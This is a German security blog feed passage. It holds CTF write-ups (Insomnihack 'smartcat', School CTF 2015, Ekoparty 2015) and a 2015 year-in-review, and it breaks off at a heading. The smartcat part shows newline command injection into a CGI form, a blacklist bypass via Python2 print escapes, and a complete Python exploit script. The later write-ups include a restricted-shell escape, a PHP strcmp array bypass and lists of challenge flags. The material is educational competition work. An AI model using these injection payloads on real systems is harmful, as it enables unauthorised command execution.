<p>Was wir brauchten war etwas wie <code>cd DIR</code>, aber Leerzeichen sind immernoch auf der Blacklist. Die Manpage von <code>cd</code> brachte uns aber bei, dass <code>If DIRECTORY is supplied, it will become the new directory. If no parameter is given, the contents of the HOME environment variable will be used.</code> (Wenn DIRECTORY gegeben ist, dann wird in diesen Ordner gewechselt. Ansonsten wird die Variable <code>HOME</code> verwendet.) Mal schauen, ob wir den Wert der <code>HOME</code>-Variable zu <code>/home/smartcat</code> ändern können. Das Setzen von Umgebungsvariablen in der <code>sh</code> ist so einfach wie das Ausführen von <code>VARIABLE=VALUE</code>. Demnach haben wir zum Auflisten der Inhalte in <code>/home/smartcat</code> die folgende Eingabe genutzt:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>dest=127.0.0.1%0AHOME=/home/smartcat%0Acd%0Als</span></code></pre></td></tr></table></div></figure>


<p>Super, wir sehen nun alle Dateien in dem Ordner. Diesen Ansatz können wir nutzen, um in beliebige Ordner zu wechseln und uns die Inhalte anzeigen zu lassen. Allerdings können wir <code>flag2</code> nicht lesen, da uns die nötigen Leserechte fehlen, aber wir können das Programm <code>readlfag</code> ausführen. <code>%0Astrings&lt;./readflag</code> führt uns zum nächsten Teil der Aufgabe:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>Write 'Give me a...' on my stdin, wait 2 seconds, and then write '... flag!'.Do not include the quotes. Each part is a different line.</span></code></pre></td></tr></table></div></figure>


<h2>Blacklist bypass</h2>

<p>Wie man wahrscheinlich weiß, sind Blacklists immer schlecht und fast immer umgehbar. Wir brauchten einen Platz in das wir unseren Code abladen konnten, also einen Ordner mit Schreibrechten. Es stellte sich heraus, dass wir Schreib-, aber keine Ausführungsrechte auf <code>/tmp</code> hatten. Wir überzeugten uns davon mit <code>ls&gt;/tmp/x</code> gefolgt von <code>cat&lt;/tmp/x</code>.</p>

<p>Super, wir können also beliebige Dateien in <code>/tmp</code> schreiben und ausführen. Aber wie füllt man diese Dateien mit Leben? Ich kam auf die Idee sog. <code>here documents</code> zu nutzen:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>cat&lt;&lt;EOF&gt;/tmp/file
</span><span class='line'>helloworld
</span><span class='line'>EOF</span></code></pre></td></tr></table></div></figure>




<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>dest=127.0.0.1%0Acat&lt;&lt;EOF&gt;/tmp/file%0Ahelloworld%0AEOF%0Als</span></code></pre></td></tr></table></div></figure>


<p>Alles zwischen <code>EOF</code> und <code>EOF</code> wird dann in die Datei <code>/tmp/file</code> geschrieben. Der nächste Schritt bestand also darin, irgendwie ein Programm hochzuladen oder zu schreiben, was auf dem Server die <code>readflag</code> Binary ausführen und die Flagge anzeigen würde.</p>

<p>Während wir darüber nachdachten, wie wir Quelltext schreiben könnten, ohne Zeichen der Blacklist zu verweden, ließen wir ein <code>HOME=/%0Acd%0Afind&gt;/tmp/files</code> laufen, um eine Liste aller Dateien auf dem Server zu bekommen. Der Request lief ins Timeout, aber lange genug, um einige Dateien aus dem <code>/bin</code>, <code>/usr/bin</code> aufzulisten. Einige Tools die wir als nützlich einstuften:</p>

<ul>
<li>python2 / python3</li>
<li>gcc / g++</li>
<li>ftp / rsync / curl / wget</li>
<li>gzip / gunzip / zip / unzip</li>
</ul>


<p>Ich versuchte erst irgendwie <code>gzip</code> oder <code>zip</code> zu missbrauchen, um ein Leerzeichen in einer Datei zu komprimieren und zu hoffen, dass in der Ausgabe keine Zeichen der Blacklist vorhanden sind. Unglücklicherweise klappte das Entpacken auf dem Server nicht richtig. Genau das war der Augenblick in dem Denis die geniale Idee hatte Python2 und dessen <code>print</code> Anweisung zu nutzen, um den Filter zu umgehen. In Python2 braucht man weder Klammern noch Leerzeichen, um etwas mit <code>print</code> auszugeben.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>print'hello world'</span></code></pre></td></tr></table></div></figure>


<p>Zusätzlich kann man Zeichen mit <code>\xYY</code> kodieren. Wir schrieben ein Shellscript für die <code>readflag</code> Binary:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>echo "Give me a...";sleep 2;echo "... flag!"</span></code></pre></td></tr></table></div></figure>


<p>&#8230; und kodierten alle Zeichen der Blacklist:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>print'''echo\x20"Give\x20me\x20a..."\x3bsleep\x202\x3becho\x20"...\x20flag!"'''</span></code></pre></td></tr></table></div></figure>


<p>Danach nutzten wir unser here-document-cat um das Python-Script in <code>/tmp/print.py</code> zu erzeugen, gefolgt durch die Ausführung mit: <code>%0Apython&lt;/tmp/print.py&gt;/tmp/getflag.sh</code> Wir wiederholten diesen Schritt für ein zweites Shellscript, welches unser vorheriges ausführte:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>sh /tmp/getflag.sh | /home/smartcat/readflag</span></code></pre></td></tr></table></div></figure>


<p>Letzendlich führten wir das zuletzt erstellte Shellscript aus, um die Flagge zu erhalten: <code>%0Ash&lt;/tmp/runflag.sh&gt;/tmp/ourflag</code> und <code>%0Acat&lt;/tmp/ourflag</code> zum Lesen der Flagge: <code>INS{shells_are _way_better_than_cats}</code></p>

<p>Insgesamt war es eine ziemlich colle Challenge :)</p>

<p>The team of internetwache.org</p>

<p>Kompletter Exploit:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>import requests
</span><span class='line'>
</span><span class='line'># we have a cgi script and can execute remote commands
</span><span class='line'># problem: our command must not include any of: " $;&|({`\t"
</span><span class='line'># we solve this by using python to print the payload into a file
</span><span class='line'># this is we can encode any of the special characters and python doesn't need a whitespace between the print and the ''s
</span><span class='line'>
</span><span class='line'>
</span><span class='line'># upload first script 
</span><span class='line'># echo "Give me a...";sleep 2;echo "... flag!"
</span><span class='line'># encoded: 
</span><span class='line'># print'''echo\\x20\"Give\\x20me\\x20a...\"\\x3bsleep\\x202\\x3becho\\x20\"...\\x20flag!\"'''
</span><span class='line'>requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "144"}, data={"dest": "127.0.0.1\ncat&lt;&lt;bbb&gt;/tmp/tftf\nprint'''echo\\x20\"Give\\x20me\\x20a...\"\\x3bsleep\\x202\\x3becho\\x20\"...\\x20flag!\"'''\nbbb"})
</span><span class='line'>
</span><span class='line'># upload second script
</span><span class='line'># /bin/sh /tmp/denis | /home/smartcat/readflag
</span><span class='line'>requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "133"}, data={"dest": "127.0.0.1\ncat&lt;&lt;bbb&gt;/tmp/tftf2\nprint'''/bin/sh\\x20/tmp/denis\\x20\\x7c\\x20/home/smartcat/readflag'''\nbbb"})
</span><span class='line'>
</span><span class='line'># interprete first script and write to file
</span><span class='line'># python&lt;/tmp/tftf&gt;/tmp/denis
</span><span class='line'>requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "65"}, data={"dest": "127.0.0.1\npython&lt;/tmp/tftf&gt;/tmp/denis"})
</span><span class='line'>
</span><span class='line'># pythin interprete second script and write to file
</span><span class='line'># python&lt;/tmp/tftf2&gt;/tmp/rundenis
</span><span class='line'>requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "69"}, data={"dest": "127.0.0.1\npython&lt;/tmp/tftf2&gt;/tmp/rundenis"})
</span><span class='line'>
</span><span class='line'># execute second script and write to denisflag
</span><span class='line'># /bin/sh&lt;/tmp/rundenis&gt;/tmp/denisflag
</span><span class='line'>requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "84"}, data={"dest": "127.0.0.1\n\nHOME=/home/smartcat/\ncd\n/bin/sh&lt;/tmp/rundenis&gt;/tmp/denisflag"})
</span><span class='line'>
</span><span class='line'># read flag file
</span><span class='line'># cat&lt;/tmp/denisflag
</span><span class='line'>t = requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "56"}, data={"dest": "127.0.0.1\ncat&lt;/tmp/denisflag"})
</span><span class='line'>
</span><span class='line'>print t.text</span></code></pre></td></tr></table></div></figure>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Rückblick auf 2015]]></title>
    <link href="https://www.internetwache.org/ruckblick-auf-2015-04-01-2016/"/>
    <updated>2016-01-04T14:58:00+01:00</updated>
    <id>https://www.internetwache.org/ruckblick-auf-2015</id>
    <content type="html"><![CDATA[<p>Wie es mittlerweile bei uns Tradition ist, veröffentlichen wir zu Beginn eines jeden Jahres einen kleinen Rückblick auf das vergangene Jahr und geben eine Vorschau auf das kommende Jahr.</p>

<!-- more -->


<h2>Rückblick auf 2015</h2>

<p>2015 haben wir für das Projekt Internetwache.org insgesamt etwas weniger Zeit aufgewendet als in den Jahren davor. Das sieht man vor allem an der niedrigen Anzahl an veröffentlichten Artikeln (9 Blogposts), aber auch an rückläufigen Positionen im Ranking von Plattformen wie <a href="https://bugcrowd.com/internetwache">Bugcrowd</a> oder <a href="https://hackerone.com/internetwache">HackerOne</a>. Neben der steigenden und offenbar nicht-schlafenden Konkurrenz, liegt es aber daran, dass wir alle anders ausgelastet waren, in anderen Projekten aktiv sind und in unseren Berufen oder an der Universität eingebunden sind.</p>

<p>Wenn wir allerdings etwas auf Internetwache.org veröffentlicht haben, dann hat es sich meist um recht gründliche und tiefgreifende Ergebnisse gehandelt und wurde von einer breiteren Menge oder zumindest unseren Twitter Followern diskutiert.</p>

<p>Als eine Art &#8220;Ritterschlag&#8221; kann man ansehen, dass unsere Arbeit und Analyse der <a href="https://www.internetwache.org/axfr-scan-der-alexa-top-1-million-29-03-2015/">AXFR-Transfers der Alexa Top 1 Millionen</a> zu einem der zwölf <a href="https://www.us-cert.gov/ncas/alerts/TA15-103A">Alerts des US-CERT</a> im Jahr 2015 geführt hat und auch in vielen <a href="http://www.heise.de/security/meldung/Falsch-konfigurierte-DNS-Server-liefern-Angreifern-wertvolle-Tipps-2595206.html">Medienberichten</a> Beachtung gefunden hat.</p>

<p>Eine ähnliche Untersuchung, welche die Analyse von <a href="https://www.internetwache.org/wie-ungeschutzte-git-repositorys-die-sicherheit-ihrer-webseite-gefahrden-eine-analyse-der-alexa-1m-28-07-2015/">nicht geschützten Git-Repositories</a> behandelte fand allerdings weniger Beachtung, da andere Researcher kurz zuvor eine ähnliche Idee hatten - dennoch sind wir mit den Ergebnissen und unserem eigenen Wissenzuwachs sehr zufrieden.</p>

<p>Es gab noch einige weitere Ideen für weiterreichende Untersuchungen, aber leider fehlte zu deren Umsetzung die nötige Zeit, um diese entsprechend qualitativ hochwertig durchführen zu können. Wir hoffen allerdings, diese dieses Jahr nachreichen zu können.</p>

<p>Sebastian hat weitere Projekte ins Leben gerufen. Unter anderem einen weiteren Security-Blog, auf dem persönliche Sachen ausgelagert werden, die nicht unbedingt zu Internetwache.org passen: <a href="https://0day.work">0day.work</a>. Zum Jahresanfang 2015 wurde zudem das <a href="https://bugbounty.me">Bugbounty Portal</a> von ihm gestartet, bislang ist darauf noch nicht besonders viel Aktivität.</p>

<p>Tim hat ein von ihm lang angestrebtes Ziel erreicht und 2015 sein erstes Buch mit dem Titel <a href="http://amzn.to/1Z0ipxA">&#8220;Hacking im Web&#8221;</a> geschrieben in dem auch einige Fälle von Internetwache.org aufgegriffen werden. Das Buch ist in deutscher Sprache, umfasst circa 500 Seiten und erscheint im Franzis Verlag vermutlich im ersten Quartal von 2016.</p>

<p>Zum Abschluss des Jahres haben sich Sebastian und Tim wieder beim 32. Chaos Communication Congress (32c3) in Hamburg getroffen und wie immer hat es viel Spaß gemacht und wir haben eine Menge gelernt. Lustig war, dass Sebastian mit dem Cloudflare-Bugbounty-T-Shirt von einem der Security Mitarbeiter bei Cloudflare angesprochen wurde.</p>

<h2>Ausblick auf 2016</h2>

<p>In der Zukunft haben wir vor die Untersuchung von generischen Sicherheitsrisiken (wie oben angeführt) fortzusetzen und so immer wieder vor globalen Problemen im Bereich Websicherheit zu warnen. Dieses Vorgehen ermöglicht einen guten Überblick über die aktuelle Situation der Websicherheit und hilft möglicherweise einer größeren Menge an Administratoren, als zum Beispiel bestimmte, wenige Webapplikationen zu untersuchen. Nichtsdestotrotz werden wir natürlich weiterhin an Bug Bounty Programmen teilnehmen und der grundsätzlichen <a href="https://www.internetwache.org/idee/">Idee von Internetwache.org</a> treu bleiben.</p>

<p>Die Followerzahl auf unserem Twitter Account: <a href="http://twitter.com/internetwache">@internetwache</a> nährt sich langsam der magischen Grenze &#8220;1000&#8221; - aus diesem Grund planen wir in 2016 eine Community-Aktion, von der wir momentan allerdings noch nicht zu viel verraten möchten. Bleibt also gespannt :)</p>

<p>Seit der Gründung von Internetwache.org im Jahr 2012 war die Sicherheit von Webapplikationen unser Hauptfokus, wir wollen nun allerdings einen Schritt weitergehen. Sebastian möchte in naher Zukunft mehr über die Sicherheits von Apps lernen und wird dieses Jahr seinen Bachelor beenden. Tim möchte etwas mehr über SCADA und ICS lernen und sich Gedanken um Informationsethik im Zeitalter von Big Data und modernen Algorithmen machen.</p>

<p>Wir wünschen Euch viel Erfolg im Jahr 2016!</p>

<p>Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[School CTF 2015 Writeups]]></title>
    <link href="https://www.internetwache.org/school-ctf-2015-writeups-06-11-2015/"/>
    <updated>2015-11-06T13:14:00+01:00</updated>
    <id>https://www.internetwache.org/school-ctf-2015-writeups</id>
    <content type="html"><![CDATA[<p><a href="https://ctftime.org/event/254">School-CTF</a> war ein kurzes 5 stündiger CTF (Cature the Flag). Nichtdestotrotz wurden gute Challenges angeboten und es hat Spaß gemacht. Internetwache konnte sich auf dem 17ten Platz positionieren.</p>

<!-- more -->


<p>Die Jury hat die Musterlösungen veröffentlicht und viele Ansätze weichen nicht ab. Daher werden wir nur kurz die Lösungen beschreiben, bei denen wir einen anderen Weg gewählt haben.</p>

<h1>Admin 200: Awesome web</h1>

<p>Nach dem Speichern des privaten Schlüssels <code>admin</code>, konnte man sich zu einem der SSH Ports verbinden:</p>

<pre><code>     ssh -v -p 15026 -i /tmp/admin.key -F /dev/null admin@sibears.ru
</code></pre>

<p>Daraufhin begrüßte uns eine einfache Shell:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>admin:~$ ls
</span><span class='line'>flag.txt
</span><span class='line'>admin:~$ ?
</span><span class='line'>cd  clear  echo  exit  help  history  ll  lpath  ls  lsudo</span></code></pre></td></tr></table></div></figure>


<p>Man sieht die Flagge, hat aber nur eine limitierten Satz an Kommandos. Ich probierte einfach <code>history</code> und scrollte durch die Liste von Kommandos, die wohl von anderen CTF Teilnehmern stammten. Glücklicherweise entdeckte ich darin einen komisch aussehenden String, der sich als korrekte Flagge herausstellen sollte: <code>4dm1n_1s_1mp0r74nt_m^^mk3y</code></p>

<p>Wir glauben nicht, dass dies die beabsichtigte Lösung ist, daher wollten wir herausfinden, ob wir mit dem gesetzten Limit die Flagge extrahieren können.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>admin:~$ ls /
</span><span class='line'>*** forbidden path: /
</span><span class='line'>admin:~$ echo $(&lt; flag.txt)
</span><span class='line'>*** forbidden syntax: echo $(&lt; flag.txt)</span></code></pre></td></tr></table></div></figure>


<p>Nach einer längeren Zeit des Rumprobierens und etlichen <code>forbidden syntax</code> Fehlermeldungen, standen wir schon vor der Resignation, als wir dieses Kommando ausprobierten:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>admin:~$ echo "$(cat flag.txt)"
</span><span class='line'>4dm1n_1s_1mp0r74nt_m^^mk3y</span></code></pre></td></tr></table></div></figure>


<p>YAY - Aber wir haben immer noch nicht herausgefunden, ob das eine gültige Lösung oder ein Bypass des Filters ist.</p>

<h1>Crypto 100: Lazy cryptanalyst</h1>

<p>Wir googelten nicht nach der Webseite, welche im Bild zu sehen war, sondern fingen an, ein kleines Pythonscript zu schreiben, welches die Zeichen Schritt-für-Schritt ersetzte.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>text = "bsxz [....] qoiy."
</span><span class='line'>
</span><span class='line'>newtext = ""
</span><span class='line'>
</span><span class='line'>switch = {  'b':'t',
</span><span class='line'>                        's':'h',
</span><span class='line'>                        'x':'i',
</span><span class='line'>                        'z':'s',
</span><span class='line'>                        'u':'f',
</span><span class='line'>                        'm':'y',
</span><span class='line'>                        'o':'m',
</span><span class='line'>                        'i':'e',
</span><span class='line'>                        'q':'a',
</span><span class='line'>                        'g':'o',
</span><span class='line'>                        'v': 'l',
</span><span class='line'>                        'h':'u',
</span><span class='line'>                        'f': 'w',
</span><span class='line'>                        'y': 'n',
</span><span class='line'>                        'j':'k',
</span><span class='line'>                        'w': 'b',
</span><span class='line'>                        'e':'d',
</span><span class='line'>                        'l':'g'
</span><span class='line'>                        }
</span><span class='line'>for char in text:
</span><span class='line'>        if char in switch:
</span><span class='line'>                char = switch[char]
</span><span class='line'>        newtext += char
</span><span class='line'>print(newtext)</span></code></pre></td></tr></table></div></figure>


<p>Nachdem wir auf diesem Weg die Aufgabe lösten, erhielten wir von <a href="https://twitter.com/nobbd">Denis</a> den Hinweis mit der Webseite <a href="http://quipqiup.com/index.php">quipqiup.com</a>, welche sofort die richtige Lösung fand.</p>

<h1>Joy 100: Highly professional</h1>

<p>Der einzige Unterschied zu der Musterlösung war, dass wir <a href="https://support.google.com/websearch/answer/1325808?hl=en">Google&#8217;s reverse image search</a> genutzt haben, um herauszufinden, dass es etwas mit der Serie <code>Mr.Robot</code> zu tun hat. Weiteres Googeln führte zu einem Wiki, in dem die Namen der drei Angestellten aufgelistet waren. Einer davon war die Flagge: <code>Gideon_Goddard</code></p>

<h1>Stegano 100: Pure color</h1>

<p>Die Beispiellösung nutzt MS Paint um die Hintergrundfarbe zu ändern. Wir haben GIMP genutzt und spielten mit den Farbkurven der Grundfarben Rot, Grün, Blau herum. Beim Bewegen der blauen Kurven in die rechte, untere Ecke erschien ein gelber Text auf dem Bild. Es war die Flagge: <code>flag_is_this_is_a_simple_stego</code></p>

<h1>Flags</h1>

<p>Hier ist eine Liste mit allen gelösten Challenges:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>admin200: FLAG_G0D_DAMN_BR0_U_R_S0_C00L_DECRYPTOR
</span><span class='line'>crypt100: a day without blood is like a day without sunshine
</span><span class='line'>crypt200: remember_the_plaintext
</span><span class='line'>joy100: Gideon_Goddard
</span><span class='line'>web100: l375_$7ar7_w3b_h4ck5
</span><span class='line'>steg100: true_steganographers_doesnt_need_any_tools
</span><span class='line'>steg200: flag_is_this_is_a_simple_stego
</span><span class='line'>admin200: 4dm1n_1s_1mp0r74nt_m^^mk3y
</span><span class='line'>web200: n0t_0nly_1nj3ct10ns_4r3_d4ng3r0us
</span><span class='line'>exploit100: thanks_god_we_got_not_only_binaries
</span><span class='line'>ppc200: flag_1s_1t_w@s_t00_easy
</span><span class='line'>joy200: flag_is_dont_let_apples_hit_your_brain (strings on level0)
</span><span class='line'>ppc400: ~y@y_I_cod3d_!7_^^
</span><span class='line'>web400: U_c4n_b3_v3ry_us3ful_0n_upc0m1ng_3l3ct10ns
</span><span class='line'>admin300: Flag_is_{7Ru3_4dM1n_C4N_D0_4Ny7h1NG_Fr0M_C0MM4nD_L1N3}
</span><span class='line'>exploit300: every_haxor_loves_EvAlS</span></code></pre></td></tr></table></div></figure>


<p>Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Ekoparty CTF 2015 - Writeups]]></title>
    <link href="https://www.internetwache.org/ekoparty-ctf-2015-writeups-24-10-2015/"/>
    <updated>2015-10-24T22:39:00+02:00</updated>
    <id>https://www.internetwache.org/ekoparty-ctf-2015-writeups</id>
    <content type="html"><![CDATA[<p>Am Abend nach dem Hacklu CTF hatte Sebastian den Drang erneut ein paar Challenges zu lösen. Auf Ctftime.org wurde der <a href="https://ctftime.org/event/247">ekoparty CTF 2015</a> als erster Eintrag angezeigt und es war noch ein Tag Zeit um mitzuspielen. In diesem Blogpost wird Sebastian seine Lösungen für die folgenden Challenges beschreiben:</p>

<ul>
<li>Slogans ( Trv 50)</li>
<li>SSL Attack (Trv 90)</li>
<li>Blocking truck (Trv 100)</li>
<li>Pass Check (Web 50)</li>
<li>XOR Crypter (Cry 200)</li>
<li>Press it (Misc 100)</li>
</ul>


<p>Außerdem noch ein paar Notizen zu anderen Challenges, die er sich angeschaut hat.</p>

<!-- more -->


<p>Ich wünschte ich hätte mehr Zeit für diesen CTF gehabt. Einige Challenges sahen sehr viel versprechend aus und es hat mal wieder viel Spaß gemacht:</p>

<h1>Slogans</h1>

<p>Die Aufagbe bestand darin, die Slogans der Ekopartys 2008 &amp; 2009 herauszufinden.</p>

<p>Da der jeweilige Slogan sehr prominent auf der Webseite angezeigt wird, war meine erste Idee die <a href="https://web.archive.org/web/*/ekoparty.org">wayback machine</a> zu nutzen, um die Webseiten in der Vergangenheit zu betrachten. Allerdings gab es keine Einträge für das Jahr 2008, sodass ich mich entschied, das allwissende Google zu fragen. Ich nutzte folgende Suchanfrage:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>intext:ekoparty intext:2008 intext:slogan</span></code></pre></td></tr></table></div></figure>


<p><a rel="fancybox"href="/images/posts/trv50-1.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/trv50-1.png" alt="Sceenshot of google dork" title="Slogans google dork" /></a></p>

<p>Der erste Treffer war ein Blogpost, welcher die gesuchten Informationen enthielt:</p>

<p><a rel="fancybox"href="/images/posts/trv50-2.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/trv50-2.png" alt="Sceenshot of ekoparty slogans 2008 and 2009" title="Slogans ekoparty 2008/2009" /></a></p>

<p>Die akzeptierte Flagge war: <code>EKO{Vi root y entre_What if r00t was one of us?}</code></p>

<h1>SSL Attack</h1>

<p>Bei dieser Challenge sollte man den Namen eines auf einer Ekoparty vorgestellten SSL-Angriffes finden.</p>

<p>Auch diesmal half uns etwas Google-Zauberei (<code>intext:ekoparty intext:ssl</code>), denn dies listete einige Webseiten mit den bekannten Angriffen <code>BREACH</code>, <code>CRIME</code> und <code>BEAST</code>. Die letzte Abkürzung war die korrekte Flagge:</p>

<p><a rel="fancybox"href="/images/posts/trv90.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/trv90.png" alt="BEAST SSL attack presented auf ekoparty" title="BEAST auf ekoparty" /></a></p>

<p>Flagge: <code>EKO{BEAST}</code></p>

<h1>Blocking truck</h1>

<p>Die Beschreibung gab an, dass vor dem Eingang ein blauer Truck stehen würde. Die korrekte Flagge sei die URL auf diesem.</p>

<p>Zunächst dachte ich, dass ich diese Challenge nicht lösen könnte, da ich nicht vor Ort bei der Veranstaltung war, sondern vor meinem Laptop in Berlin saß. Allerdings bezweifelte ich, dass es eine Challenge geben würde, die nur von anwesenden Teams gelöst werden könnte. Ich probierte also mein Glück mit Google Maps und siehe da: Mit Hilfe von Streetview konnte ich mir den Truck anschauen und die URL ablesen.</p>

<p><a rel="fancybox"href="/images/posts/trv100.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/trv100.png" alt="Streetview of blue truck at ekoparty" title="Blue truck ekoparty" /></a></p>

<p>Die Domain war ein wenig unscharf, aber das Eintippen von <code>desimonehnos.com.ar</code> führte zur korrekten Webseite. In der ersten Version der Aufgabe wurde von <code>url to contact</code> gesprochen, sodass ich einige Versuche benötigte, um herauszufinden, dass die Landing-Page genügte.</p>

<p>Flagge: <code>EKO{http://www.desimonehnos.com.ar}</code> oder <code>EKO{www.desimonehnos.com.ar}</code> (Kann mich nicht mehr genau daran erinnern&#8230;)</p>

<h1>Pass check</h1>

<p>Das war die erste Web-Challenge. Sie sah nicht nur toll aus, sondern machte auch noch schöne Geräusche beim Eintippen eines Passworts ;)</p>

<p><a rel="fancybox"href="/images/posts/web50-2.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/web50-2.png" alt="Screenshof of pass check input box" title="Pass check input" /></a></p>

<p>Die Geräusche und das Geblinke waren schön, hatten allerdings nicht mit der Lösung zu tun. Ich startete BurpSuite und schaute mir den AJAX-Request an. Nach ein paar einfachen Versuchen ersetzte ich <code>password=test</code> mit <code>password[]=test</code> und daraufhin war die Applikation so nett mir die Flagge zu nennen.</p>

<p><a rel="fancybox"href="/images/posts/web50.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/web50.png" alt="Screenshof of pass check input box" title="Pass check input" /></a></p>

<p>Flagge: <code>EKO{strcmp_not_s0_s4fe}</code></p>

<p>Die Funktion <code>strcmp</code> ist nicht für Vergleiche von Objekten, die keine Strings sind, geeignet. Eine interessante Auflistung kann auf <a href="http://php.net/manual/de/function.strcmp.php#108563">php.net</a> gefunden werden.</p>

<h1>XOR Crypter</h1>

